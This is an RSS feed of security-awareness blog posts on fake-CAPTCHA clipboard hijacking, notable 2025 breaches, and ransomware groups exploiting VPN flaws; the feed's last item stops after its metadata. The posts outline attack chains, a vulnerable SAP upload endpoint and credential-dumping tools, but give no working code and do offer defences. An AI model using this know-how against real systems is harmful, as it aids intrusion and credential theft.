<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Winter_Soldiers on Medium]]></title>
        <description><![CDATA[Stories by Winter_Soldiers on Medium]]></description>
        <link>https://medium.com/@wintersoldiers?source=rss-2521b328e11f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*272U1ih0oT5p6EnajKllOw.jpeg</url>
            <title>Stories by Winter_Soldiers on Medium</title>
            <link>https://medium.com/@wintersoldiers?source=rss-2521b328e11f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 11:12:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@wintersoldiers/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Rise of Fake CAPTCHA, A Social Engineering Malware Threat.]]></title>
            <link>https://medium.com/@wintersoldiers/the-rise-of-fake-captcha-a-social-engineering-malware-threat-c8ddf62ae2fb?source=rss-2521b328e11f------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8ddf62ae2fb</guid>
            <dc:creator><![CDATA[Winter_Soldiers]]></dc:creator>
            <pubDate>Fri, 19 Sep 2025 11:44:27 GMT</pubDate>
            <atom:updated>2025-09-19T11:46:27.373Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ioTumWnJ7YjCr_qILfPL0g.png" /></figure><p>We have all been there you are browsing a website, trying to read something or fill out a form, when suddenly a security check pops up. It might ask you to click on all the squares with traffic lights or type in the letters you see. CAPTCHA’s have become such a normal part of being online that most of us complete them without even thinking.</p><p>But what if that harmless looking security check was actually a trap?</p><p>Cybercriminals have figured out something important, people trust CAPTCHAs. Over time, these tests have trained us to follow instructions without question, which makes them a perfect tool for attackers to exploit.</p><p>A fake CAPTCHA attack works by copying the look and feel of a real security check. Instead of asking you to find stop signs or bridges, these malicious copies trick you into believing you’re going through a normal verification process while secretly setting up an attack.</p><p><strong>What is CAPTCHA?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xSYdHcJ7Lj-5jPJP5RuP2A.png" /></figure><p>CAPTCHA, which stands for Completely Automated Public Turing test to tell Computers and Humans Apart, is a security mechanism used on websites to verify that a user is not a bot. Typically, CAPTCHAs require users to complete simple tasks, such as selecting images, typing distorted text, or solving puzzles, to prove their humanity. These tests are designed to be easy for humans but difficult for automated systems, protecting websites from spam, brute-force attacks, and other malicious activities. Common examples include Google reCAPTCHA and Cloudflare Turnstile, which are widely used for their user-friendly interfaces and robust security.</p><p><strong>The Anatomy of Fake CAPTCHA Campaigns:</strong></p><p>At their core, these attacks represent a masterclass in social engineering. Unlike traditional malware delivery mechanisms that exploit software vulnerabilities, Fake CAPTCHA campaigns rely entirely on manipulating user behaviour.</p><h3>How They Work:</h3><p>1. <strong>Initial Access</strong>: Victims land on malicious websites through various vectors including phishing emails, malvertising, compromised legitimate sites, or search results for pirated software and media.</p><p>2. <strong>Deceptive Interface</strong>: The site presents what appears to be a standard CAPTCHA verification interface with familiar branding from Google re CAPTCHA or Cloudflare. This carefully crafted legitimacy is key to the attack’s success.</p><p>3. <strong>Clipboard Hijacking</strong>: When users interact with the fake CAPTCHA (typically by clicking an “I’m not a robot” checkbox or button), malicious JavaScript silently copies commands to their clipboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*umWKpGHikWVv8cdMsB-5YA.png" /></figure><p><strong>What is Clipboard Hijacking in Fake CAPTCHA Campaigns?</strong></p><p>Clipboard hijacking in fake CAPTCHA campaigns involves malicious websites mimicking legitimate CAPTCHA interfaces (e.g., Google reCAPTCHA or Cloudflare Turnstile) to trick users into copying and executing harmful commands. When a user interacts with the fake CAPTCHA (e.g., clicking “I’m not a robot”), JavaScript silently copies a malicious command (often a PowerShell script encoded in Base64) to the clipboard. The site then instructs the user to paste this command into the Windows Run dialog (Win + R) or a command prompt, leading to self infection with malware like Lumma Stealer, Redline Stealer, Vidar Stealer, or PureLog Stealer. This social engineering tactic exploits trust in familiar CAPTCHA interfaces, requiring no technical vulnerabilities.</p><p>4. <strong>Social Engineering</strong>: Users are then presented with instructions claiming they need to perform additional verification steps such as pressing Windows+R followed by Ctrl+V.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*3CzHVwgfHdiWARMKSlXeTg.png" /></figure><p>5. <strong>Self-Infection</strong>: By following these instructions, users unknowingly paste and execute the malicious command from their clipboard, effectively infecting their own systems.</p><p>6. <strong>Payload Delivery</strong>: The executed commands typically download and run additional malware, often using PowerShell scripts that operate in hidden windows to avoid detection.</p><p><strong>What actually happens:</strong></p><p>When users follow these instructions, they are unknowingly executing malicious code on their own computers. The windows+R combinations open a command prompt where users paste what they believe is verification code. In reality they are running commands that can:</p><ol><li>Download and install malware.</li><li>Grant remote access to cyber criminals.</li><li>Steal personal information and password.</li><li>Turn their computer into part of botnet.</li><li>Encrypt files for ransomware attack.</li></ol><p><strong>The Payloads: What Happens After Infection</strong></p><p>The initial clipboard hijacking is just the first step. Once executed, these attacks typically deploy various types of malware:</p><p><strong>Information Stealers</strong></p><p>The most common payload is information-stealing malware designed to harvest sensitive browser data, including browsing history, saved passwords, cookies, and autofill information. These malicious programs target specific directories where browsers store user data, accessing and decrypting files to gain unauthorized access to personal information and credentials. Common information stealers include:</p><p><strong>Lumma Stealer:</strong> Lumma Stealer is an information-stealing malware that targets sensitive browser data, including passwords, cookies, browsing history, and autofill information. It operates stealthily, often delivered via fake CAPTCHA campaigns, and connects to command and-control servers to exfiltrate stolen data. Common in phishing and cracked software, it enables attackers to take over accounts or steal credentials.</p><p><strong>Redline Stealer:</strong> Redline Stealer is a potent information-stealing malware that extracts sensitive data like passwords, cookies, credit card details, and cryptocurrency wallet information from infected systems. Often spread through phishing emails, malvertising, or fake CAPTCHA campaigns, it uses advanced obfuscation to evade detection. It communicates with command and-control servers to exfiltrate data, enabling attackers to hijack accounts or sell stolen credentials.</p><p><strong>The Psychological Components:</strong></p><p>What makes these attacks remarkably effective is their psychological manipulation:</p><p><strong>Familiarity: </strong>The interfaces mimic trusted verification systems we encounter daily.</p><p><strong>Authority:</strong> The error messages often appear to come from legitimate sources.</p><p><strong>Urgency:</strong> Messages create a sense that something needs to be fixed immediately.</p><p><strong>Clear Instructions:</strong> Step-by-step guidance makes it easy for victims to follow through.</p><p><strong>Minimal Friction:</strong> The attack requires just a few common keystrokes.</p><p><strong>Evolution and Scale:</strong></p><p>Fake CAPTCHA campaigns have seen a dramatic rise since their first observation in early 2024. By 2025, security firms like Splunk, McAfee, and Trend Micro reported surges in these attacks, with thousands of impersonation sites created.</p><p>The use of AI has accelerated their evolution, with large language models generating phishing content and code variants at scale. Underground forums sell ready-made toolkits, lowering the entry barrier for attackers.</p><p><strong>Recognizing Red flags:</strong></p><p>Legitimate CAPTCHA’ s never ask user to:</p><ol><li>Open system applications like Command prompt and PowerShell</li><li>Copy and paste text commands</li><li>Download or install anything</li><li>Perform actions outside the web browser</li><li>Press specific key combinations</li></ol><p>Real verifications system sticks to visual puzzles, audio challenges or simple click based interactions that happen entirely within the webpage.</p><p><strong>Practical Defensive Strategies to combat Fake CAPTCHA campaigns:</strong></p><ol><li><strong>Verify the Website</strong>: Before interacting with a CAPTCHA, check the URL to ensure its legitimate. Look for “https://” and avoid sites with unusual domains.</li><li><strong>Never Download Files from CAPTCHAs</strong>: A legitimate CAPTCHA will never ask you to download software or extensions.</li><li><strong>Be Wary of Pop-Ups</strong>: Avoid clicking on pop-ups that claim urgent action is needed. Close them and navigate away.</li><li><strong>Use Antivirus Software:</strong> Keep your devices secure with up-to-date antivirus tools.</li><li><strong>Organizational Measures:</strong> Implement zero-trust architecture, real-time monitoring, and autonomous patching.</li></ol><p><strong>What to Do If You Fall for a Fake CAPTCHA Scam:</strong></p><p>If you suspect that you’ve fallen victim to a Fake CAPTCHA scam, take these steps immediately:</p><ol><li><strong>Change your passwords:</strong> If you entered login credentials or other sensitive information, change your passwords on the affected accounts immediately.</li><li><strong>Monitor your accounts:</strong> Keep a close eye on your bank statements and credit reports for any suspicious activity.</li><li><strong>Run a security scan:</strong> Use your antivirus software to scan your device for any malware or viruses, including captcha virus android if you’re using an Android device.</li><li><strong>Report the scam:</strong> Notify the legitimate website owner or the appropriate authorities about the scam to help prevent others from falling victim.</li></ol><p>As awareness of fake CAPTCHA attack grows, we can expect cybercriminals to evolve their tactics. They might create more sophisticated mimicry of legitimate service or find new ways to exploit our trust in familiar interfaces.</p><p>The key to staying ahead is maintaining a balance between doubt and functional trust. The fake CAPTCHA attack serves as a reminder that in cyber security the human element remains both our greatest vulnerability and our strongest defence by understanding these tactics and sharing our knowledge, we can help protect not just ourselves but our entire digital community.</p><p><strong>References:</strong></p><p><a href="https://www.splunk.com/en_us/blog/security/unveiling-fake-captcha-clickfix-attacks.html">https://www.splunk.com/en_us/blog/security/unveiling-fake-captcha-clickfix-attacks.html</a></p><p><a href="https://www.tilburguniversity.edu/about/conduct-and-integrity/privacy-and-security/fake-captchas">https://www.tilburguniversity.edu/about/conduct-and-integrity/privacy-and-security/fake-captchas</a></p><p><a href="https://www.malwarebytes.com/blog/news/2025/03/fake-captcha-websites-hijack-your-clipboard-to-install-information-stealers">Fake CAPTCHA websites hijack your clipboard to install information stealers</a></p><p><a href="https://www.trendmicro.com/en_us/research/25/e/unmasking-fake-captcha-cases.html">https://www.trendmicro.com/en_us/research/25/e/unmasking-fake-captcha-cases.html</a></p><p><a href="https://www.youtube.com/watch?v=lSa_wHW1pgQ&amp;t=687s">https://www.youtube.com/watch?v=lSa_wHW1pgQ&amp;t=687s</a></p><p><a href="https://www.youtube.com/watch?v=1tB5USD004w&amp;t=45s">https://www.youtube.com/watch?v=1tB5USD004w&amp;t=45s</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8ddf62ae2fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Cyber Heists That Shaped 2025: When Trust Became the Ultimate Exploit]]></title>
            <link>https://medium.com/@wintersoldiers/the-cyber-heists-that-shaped-2025-when-trust-became-the-ultimate-exploit-78dfddd7de9c?source=rss-2521b328e11f------2</link>
            <guid isPermaLink="false">https://medium.com/p/78dfddd7de9c</guid>
            <dc:creator><![CDATA[Winter_Soldiers]]></dc:creator>
            <pubDate>Fri, 11 Jul 2025 12:46:34 GMT</pubDate>
            <atom:updated>2025-07-11T12:46:34.156Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, everyone! The Winter Soldiers are back after a short hiatus with fresh insights this month!</p><p>Cyber attackers have continued to evolve, moving beyond brute force to quietly embed themselves within the very systems and people we rely on. Often, it takes nothing more than a whispered word or a subtle change in code to gain control. In about a month, we’ll take a closer look at five cyber campaigns that have fundamentally reshaped the landscape of digital crime in 2025.</p><h3><strong>Bybit’s $1.5 Billion Ghost Heist: When Code Did Exactly What It Was Told</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Bw-ILQYO-NZ9d_TH.jpg" /></figure><h4><strong>When it happened — February 21, 2025</strong></h4><h4>What happened:</h4><p>In a Tier-4 cold storage vault hosted in Singapore, everything looked perfect on Bybit’s dashboards. In Dubai headquarters, there were no alarms, no logs screaming for attention. But in less than four minutes, 401,000 ETH — nearly $1.5 billion — vanished.</p><blockquote>“It didn’t set off alarms — because the code did exactly what it was told. That’s what made it terrifying.”</blockquote><h4><strong>How &amp; Who:</strong></h4><p>This was no common hack. It was a supply chain compromise orchestrated by North Korea’s Lazarus Group, embedding a malicious signer UI script into Bybit’s trusted DevKit. When Bybit execs signed normal transactions through Safe{Wallet}, the backend logic was silently rewritten. The signatures were legitimate — but the ETH was routed straight to Lazarus wallets.</p><p>MITRE ATT&amp;CK TTPs:<br>- T1195 (Supply Chain Compromise) <br>- T1071.001 (Web Protocol Abuse) <br>- T1557 (Man-in-the-Middle Logic Spoof)</p><blockquote>“They didn’t hack the vault… they rewired the map inside your hands — and you opened the door for them.”</blockquote><h4><strong>What it impacted</strong></h4><ul><li>Largest cold wallet theft in crypto history, surpassing Mt. Gox &amp; Poly<br>Network.</li><li>ETH fell 4.2%, Bitcoin slid under $90K, triggering a $97 billion market cap shock.</li><li>Over 580,000 user wallets indirectly impacted; $72M in Bybit trader<br>liquidations.</li><li>MAS, Interpol, and CISA launched a multi-jurisdictional hunt.</li></ul><h4><strong>How Bybit &amp; the industry responded:</strong></h4><p>Bybit secured 447K ETH within 72 hours using internal reserves &amp; Bitget loans. They then decentralized signer logic, hashed UI flows, rolled out RPC anomaly detection &amp; honeypot signers — turning “cold” wallets into active battlegrounds.</p><blockquote>“The next war in cybersecurity won’t be fought over passwords — it’ll be fought over what you’re told to sign.”</blockquote><h3>SAP’s Zero-Day: Ghosts in the ERP Machine</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/0*JO7lbm66fKVHt9Ts.jpg" /></figure><h4><strong>When it happened — April to May 2025</strong></h4><h4>What happened:</h4><p>A critical zero-day in SAP Visual Composer (CVE-2025–31324) allowed unauthenticated file uploads directly to/developmentserver/metadatauploader , exposing <br>NetWeaver Java servers to full remote code execution.</p><blockquote>“They didn’t sneak in. They walked through an open window — and nobody noticed.”</blockquote><h4>How &amp; Who</h4><ul><li>Attackers used a simple POST request to upload JSP webshells. No phishing. No malware. Just exploiting a forgotten dev interface.</li><li>They moved laterally with “living-off-the-land” tools like Brute Ratel and Heaven’s Gate — staying invisible for over five weeks.</li><li>Early attribution split between ransomware operators (BianLian, RansomEXX) and espionage clusters (Earth Lamia).</li></ul><p>MITRE TTPs:<br>- T1190 (Web Application Exploit)<br>- T1505.001 (Webshells)<br>- T1550 (Admin Tools Abuse)</p><blockquote>“They didn’t leave footprints — they just opened a shell in your brain.”</blockquote><h4>What it impacted</h4><p>Corrupted finance modules, disrupted supply chains, and hijacked payroll<br>mid-cycle. 50–70% of SAP NetWeaver Java deployments were vulnerable.<br>CISA added the CVE to KEV on April 29, forcing global regulatory audits.</p><h4>How the industry reacted</h4><p>SAP released two urgent notes (April 24 &amp; May 13) to patch the initial exploit and residual deserialization bugs. Companies pulled dev UIs off public nets, logged every call to /metadatauploader , deployed WAF/RASP protections, and began treating developer tools as critical infrastructure.</p><blockquote>“Closing the door is good. But first, you must realize it’s been open — and for too long.”</blockquote><h3>ScreenConnect’s Silent Takeover: The Ghost Access</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/0*HApq1X-lqmj2FwTl" /></figure><h4>When it happened — April to May 2025</h4><h4>What happened:</h4><p>A ViewState code-injection flaw (CVE-2025–3935) in ScreenConnect allowed<br>unauthenticated RCE on cloud-hosted instances. Initial compromises likely traced back as early as August 2024, but breaches surfaced publicly by May 28, 2025</p><blockquote>“They walked through a backdoor nobody realized existed — <br>until it was too late.”</blockquote><h4>How &amp; Who</h4><ul><li>Attackers crafted malicious ViewState payloads using stolen ASP.NET machine keys, pivoted to deploy webshells, and conducted stealthy fileless operations.</li><li>Evidence suggested nation-state intelligence collection, targeting remote IT/OT consoles — from PLC programming to HMI dashboards.</li></ul><p>MITRE TTPs:<br>- T1210 (Exploitation for Remote Services) <br>- T1550 (Credential Abuse) <br>- T1505.001 (Webshells)</p><blockquote>“They didn’t leave footprints — they just mirrored your screen and rewrote the script.”</blockquote><h4><strong>What it impacted</strong></h4><p>While no ransomware was observed, the quiet infiltration of industrial systems posed grave operational &amp; national security risks.</p><h4>How defenders struck back :</h4><p>ScreenConnect and Mandiant led joint forensics. Companies patched to 25.2.4+, vaulted machine keys into HSMs, segmented remote access from OT, and monitored ViewState payload anomalies in SIEMs.</p><h3>Harrods &amp; M&amp;S: Ransomware via the Vendor’s Door</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Rf9OFxF-g3tQP_CT.jpg" /></figure><h4>When it happened — Mid April 2025</h4><h4>What happened:</h4><p>Attackers tied to Scattered Spider &amp; DragonForce didn’t break in — they used social engineering on IT vendors. Service desk phishing and SIM-swap MFA fatigue cracked M&amp;S and Harrods’ defenses.</p><blockquote>“They didn’t crash the party — they just whispered the password — and everything unlocked itself.”</blockquote><h4>How &amp; Who</h4><p>Stolen credentials allowed privilege escalation. Malware was then dropped: Dragon Force ransomware encrypted M&amp;S servers, exfiltrated customer data, and forced them to operate by pen and paper.</p><p>MITRE TTPs: <br>- T1566 (Phishing)<br>- T1078 (Valid Accounts) <br>- T1486 (Data Encryption for Impact)</p><h4>What it impacted</h4><p>M&amp;S halted online ops for 46 days, losing £300M in revenue and over £1B in market cap. <br>Harrods isolated systems before encryption but initiated costly emergency audits.</p><blockquote>“When the tills went dark, the heart of retail stopped beating. And the silence was deafening.”</blockquote><h4>Strategic industry pivot</h4><p>Retailers rotated vendor credentials, enforced SIM-porting locks, hardened helpdesk challenge-response, and deployed OAuth/WAF abuse monitors.</p><blockquote>“Repairing a breached trust takes months — but rebuilding it takes years. Start today.”</blockquote><h3>Salesforce Vishing: When the Voice Became the Exploit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BuKhtYHSYFOFifjh.jpg" /></figure><h4>When it happened — Early June 2025</h4><h4>What happened:</h4><p>UNC6040 impersonated IT support, directly vishing employees at nearly 20<br>global companies, guiding them to install a clean-looking Salesforce OAuth app: “My Ticket Portal.”</p><blockquote>“They didn’t break in — they whispered the password.”</blockquote><h4>How &amp; who:</h4><p>Once approved, the app gained full API access to Salesforce — exporting<br>sensitive CRM data and then moving laterally into Okta, Microsoft 365, and<br>Workplace.<br>No exploits. No malware. Just trust.</p><p>MITRE TTPs:<br>- T1566.004 (Vishing)<br>- T1078 (Valid Accounts)<br>- T1526 (Cloud Data Discovery)</p><blockquote>“They didn’t install malware — they installed trust.”</blockquote><h4>What it impacted:</h4><p>Hospitality, education, and retail giants saw customer profiles, sales pipelines, internal docs siphoned. Extortion under ShinyHunters branding followed, without ever dropping ransomware.</p><h4>The shift after the whisper:</h4><p>Organizations began treating OAuth approvals like passwords enforcing least privilege, monitoring connected app anomalies, and training staff that the voice on the line might be the next malware vector.</p><blockquote>“Closing your MFA window isn’t enough — don’t let the other side whisper in.”</blockquote><h4>Looking forward: The breach is now where we least expect it:</h4><p>2025 didn’t just change tactics. It changed the very theater of cyber war. The logic layer. The developer console. The voice on the phone. That’s where the next breach waits.</p><blockquote>If we keep fixing yesterday’s exploits, we’ll never be ready for tomorrow’s<br>war . Because the most dangerous attacks aren’t always scripts or exploits they’re the stories we believe, the screens we sign, and the voices we trust.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78dfddd7de9c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ransomware Gangs Leveraging VPN Exploits for Initial Access]]></title>
            <link>https://medium.com/@wintersoldiers/ransomware-gangs-leveraging-vpn-exploits-for-initial-access-c984ac7b1476?source=rss-2521b328e11f------2</link>
            <guid isPermaLink="false">https://medium.com/p/c984ac7b1476</guid>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Winter_Soldiers]]></dc:creator>
            <pubDate>Fri, 07 Mar 2025 07:40:58 GMT</pubDate>
            <atom:updated>2025-03-07T07:40:58.846Z</atom:updated>
            <content:encoded><![CDATA[<p>Virtual Private Networks (VPNs) have long been relied upon for secure remote access, but they are increasingly becoming a prime target for ransomware gangs. Exploiting vulnerabilities in VPN appliances allows attackers to bypass traditional security controls and gain a foothold in corporate networks. This growing trend highlights the urgency for organizations to strengthen their remote access defenses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*qEJ-NImLmRh4RKB3UXfeZA.jpeg" /></figure><p><strong>Why Ransomware Gangs Target VPN Vulnerabilities?</strong></p><p>Ransomware groups target VPN vulnerabilities for several reasons:</p><ol><li><strong>Exposed Attack Surface</strong> — VPN endpoints are often exposed to the internet, making them a prime target for attackers who continuously scan for vulnerabilities.</li><li><strong>Unpatched Vulnerabilities</strong> — Many organizations delay patching critical VPN flaws, giving attackers the opportunity to exploit them using publicly available exploits.</li><li><strong>Credential Theft &amp; Exploitation</strong> — Attackers obtain VPN credentials through phishing campaigns, credential stuffing, and brute-force attacks. Stolen credentials are frequently sold on dark web marketplaces.</li><li><strong>MFA Bypass Techniques</strong> — Some ransomware gangs bypass multi-factor authentication (MFA) through session hijacking, cookie theft, or social engineering tactics like MFA fatigue attacks.</li></ol><p><strong>Notable VPN Exploits Used in Ransomware Attacks</strong></p><p>Several high-profile ransomware incidents have stemmed from VPN vulnerabilities:</p><ul><li><strong>Fortinet VPN Exploit</strong> — Ransomware gangs like Mespinoza (Pysa) and Cring have exploited Fortinet SSL VPN vulnerabilities (CVE-2018–13379) to gain unauthorized access to enterprise networks.</li><li><strong>Pulse Secure VPN Attacks</strong> — Vulnerabilities in Pulse Secure VPNs (CVE-2019–11510) have been leveraged by ransomware groups to infiltrate networks, often targeting healthcare and government sectors.</li><li><strong>Citrix Gateway Compromises</strong> — The REvil ransomware gang exploited Citrix Gateway vulnerabilities (CVE-2019–19781) to infiltrate corporate networks and deploy ransomware.</li><li><strong>SonicWall VPN Exploits</strong> — In 2024, ransomware operators such as Fog and Akira exploited a critical SonicWall VPN vulnerability (CVE-2024–40766) to gain unauthorized access to corporate environments.</li><li><strong>Cisco VPN Vulnerabilities</strong> — Threat actors have targeted vulnerabilities in Cisco VPNs, such as CVE-2023–20269, which enables brute-force attacks against VPN authentication portals.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*GWmNElsc4MU_COMTqCv9Ww.jpeg" /></figure><p><strong>Ransomware Gangs Leveraging VPN Vulnerabilities</strong></p><p>Certain ransomware gangs are known for leveraging VPN vulnerabilities:</p><ul><li><strong>BlackCat (ALPHV)</strong> — Uses automated scanners to find exposed VPN servers and exploit known vulnerabilities before deploying ransomware. <strong>TTPs:</strong> T1190 (Exploit Public-Facing Application), T1078 (Valid Accounts), T1021 (Remote Services).</li><li><strong>LockBit</strong> — Obtains stolen VPN credentials through phishing and dark web marketplaces, often using Mimikatz for credential extraction. <strong>TTPs:</strong> T1555 (Credential Dumping), T1078 (Valid Accounts), T1486 (Data Encrypted for Impact).</li><li><strong>Clop</strong> — Exploits VPN vulnerabilities in supply chain attacks and uses tools like Cobalt Strike for post-exploitation. <strong>TTPs:</strong> T1190 (Exploit Public-Facing Application), T1566 (Phishing), T1021 (Remote Services).</li><li><strong>Vice Society</strong> — Targets education and healthcare sectors through unpatched VPN vulnerabilities and automates lateral movement via PowerShell. <strong>TTPs:</strong> T1046 (Network Service Scanning), T1087 (Account Discovery), T1486 (Data Encrypted for Impact).</li><li><strong>Akira</strong> — Exploits SonicWall VPN vulnerabilities to gain unauthorized access and encrypt victim networks, targeting small to mid-sized enterprises. <strong>TTPs:</strong> T1190 (Exploit Public-Facing Application), T1078 (Valid Accounts), T1486 (Data Encrypted for Impact).</li><li><strong>Play</strong> — Focuses on the healthcare sector, exploiting poorly secured VPNs for initial access and using double extortion tactics. <strong>TTPs:</strong> T1190 (Exploit Public-Facing Application), T1078 (Valid Accounts), T1486 (Data Encrypted for Impact).</li></ul><p><strong>TTPs of Ransomware Gangs Exploiting VPNs</strong></p><p>Ransomware gangs leveraging VPN exploits typically follow these steps:</p><ol><li><strong>Initial Access (T1190 — Exploit Public-Facing Application)</strong></li></ol><ul><li>Exploit known VPN vulnerabilities (e.g., CVE-2018–13379, CVE-2019–11510, CVE-2024–40766) to gain access.</li><li>Use scanning tools like Shodan and Masscan to locate vulnerable VPN appliances.</li></ul><ol><li><strong>Credential Access (T1555 — Credential Dumping)</strong></li></ol><ul><li>Deploy tools like Mimikatz or LaZagne to extract credentials.</li><li>Use brute-force or credential stuffing attacks against VPN portals.</li></ul><ol><li><strong>Privilege Escalation (T1078 — Valid Accounts)</strong></li></ol><ul><li>Leverage stolen credentials to escalate privileges and maintain persistence.</li><li>Employ Pass-the-Hash and Pass-the-Ticket techniques.</li></ul><ol><li><strong>Lateral Movement (T1021 — Remote Services)</strong></li></ol><ul><li>Use RDP, SMB, or SSH to move across networks.</li><li>Deploy reconnaissance tools like BloodHound and PsExec.</li></ul><ol><li><strong>Ransomware Deployment (T1486 — Data Encrypted for Impact)</strong></li></ol><ul><li>Execute ransomware payloads via batch scripts, PowerShell, or DLL sideloading.</li><li>Exfiltrate data before encryption for double-extortion attacks.</li></ul><p><strong>Strengthening VPN Security to Counter Ransomware Threats</strong></p><p>Organizations can mitigate VPN exploitation risks by implementing:</p><ul><li><strong>Regular Patch Management</strong> — Apply security patches to VPN appliances promptly to eliminate vulnerabilities.</li><li><strong>Multi-Factor Authentication (MFA)</strong> — Enforce MFA to prevent unauthorized VPN access.</li><li><strong>Zero Trust Architecture</strong> — Limit access based on identity, device security, and risk levels.</li><li><strong>Network Segmentation</strong> — Restrict VPN access to critical systems and use least privilege principles.</li><li><strong>Threat Monitoring &amp; Incident Response</strong> — Continuously monitor VPN logs for unusual activity and establish a robust incident response plan.</li></ul><p><strong>Conclusion</strong></p><p>As ransomware gangs continue to exploit VPN vulnerabilities, organizations must take proactive steps to fortify their remote access security. Implementing a multi-layered security approach — combining patch management, MFA, network segmentation, and Zero Trust principles — can significantly reduce the risk of VPN-related ransomware attacks. By staying ahead of these evolving threats, businesses can protect their networks from unauthorized access and devastating ransomware incidents.</p><p><strong>References</strong></p><ol><li>MITRE ATT&amp;CK Framework — <a href="https://attack.mitre.org/">https://attack.mitre.org</a></li><li>CISA VPN Security Guidelines — <a href="https://www.cisa.gov/sites/default/files/publications/cisa-vpn-security-guidelines.pdf">https://www.cisa.gov/sites/default/files/publications/cisa-vpn-security-guidelines.pdf</a></li><li>Zero Trust Best Practices by NIST — <a href="https://csrc.nist.gov/publications/detail/sp/800-207/final">https://csrc.nist.gov/publications/detail/sp/800-207/final</a></li><li>CISA Advisory on BlackCat — <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-283a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-283a</a></li><li>LockBit Analysis by Trend Micro — <a href="https://www.trendmicro.com/en_us/research/23/k/lockbit-3-0-ransomware-deep-dive.html">https://www.trendmicro.com/en_us/research/23/k/lockbit-3-0-ransomware-deep-dive.html</a></li><li>Clop Ransomware Report by Microsoft — <a href="https://www.microsoft.com/en-us/security/blog/2023/03/01/clop-ransomware-exploits-zero-day-vulnerabilities-in-file-transfer-appliance/">https://www.microsoft.com/en-us/security/blog/2023/03/01/clop-ransomware-exploits-zero-day-vulnerabilities-in-file-transfer-appliance/</a></li><li>VPN Exploits in Ransomware Attacks — Recorded Future — <a href="https://www.recordedfuture.com/ransomware-groups-exploiting-vpn-vulnerabilities">https://www.recordedfuture.com/ransomware-groups-exploiting-vpn-vulnerabilities</a></li><li>CVE-2018–13379 (Fortinet VPN) — <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379</a></li><li>CVE-2019–11510 (Pulse Secure VPN) — <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510</a></li><li>CVE-2019–19781 (Citrix Gateway) — <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781</a></li><li>CVE-2024–40766 (SonicWall VPN) — <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40766">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40766</a></li><li>CVE-2023–20269 (Cisco VPN) — <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-20269">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-20269</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c984ac7b1476" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When Trust Is Exploited: The Role of Microsoft Teams and Email Bombing in Ransomware Campaigns]]></title>
            <link>https://medium.com/@wintersoldiers/when-trust-is-exploited-the-role-of-microsoft-teams-and-email-bombing-in-ransomware-campaigns-95d9bba57923?source=rss-2521b328e11f------2</link>
            <guid isPermaLink="false">https://medium.com/p/95d9bba57923</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Winter_Soldiers]]></dc:creator>
            <pubDate>Fri, 07 Feb 2025 10:06:02 GMT</pubDate>
            <atom:updated>2025-02-07T10:06:02.398Z</atom:updated>
